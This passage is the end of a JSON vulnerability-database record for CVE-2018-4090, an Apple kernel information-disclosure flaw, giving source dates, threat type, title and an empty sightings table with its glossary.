"id": "146082"
},
{
"date": "2018-01-25T01:50:55",
"db": "PACKETSTORM",
"id": "146083"
},
{
"date": "2018-01-31T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201801-1099"
},
{
"date": "2018-04-03T06:29:03.360000",
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-04-27T00:00:00",
"db": "VULHUB",
"id": "VHN-134121"
},
{
"date": "2018-04-27T00:00:00",
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"date": "2018-01-23T00:00:00",
"db": "BID",
"id": "102782"
},
{
"date": "2018-06-04T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"date": "2018-01-31T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201801-1099"
},
{
"date": "2024-11-21T04:06:43.910000",
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Apple Vulnerability in the kernel component of the product that bypasses memory read restrictions",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.